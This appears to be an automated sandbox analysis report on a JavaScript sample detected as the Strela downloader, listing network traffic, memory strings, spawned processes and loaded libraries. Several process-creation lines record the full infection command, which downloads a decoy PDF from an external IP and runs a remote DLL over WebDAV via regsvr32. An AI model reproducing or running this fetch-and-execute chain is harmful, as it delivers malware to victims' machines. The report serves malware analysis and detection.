HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1407760483.000001474DD89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1471211574.00000195E48B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1471211574.00000195E48EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/K
Source: net.exe, 00000007.00000002.1471211574.00000195E48B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spaceT
Source: svchost.exe, 00000009.00000002.2697968060.000002148F4C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1478543476.0000021494C00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7452, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1141011204217106657.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7544:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vezczxwg.gpl.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1141011204217106657.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1528,i,12957217862014294960,14923881785246342503,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1528,i,12957217862014294960,14923881785246342503,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
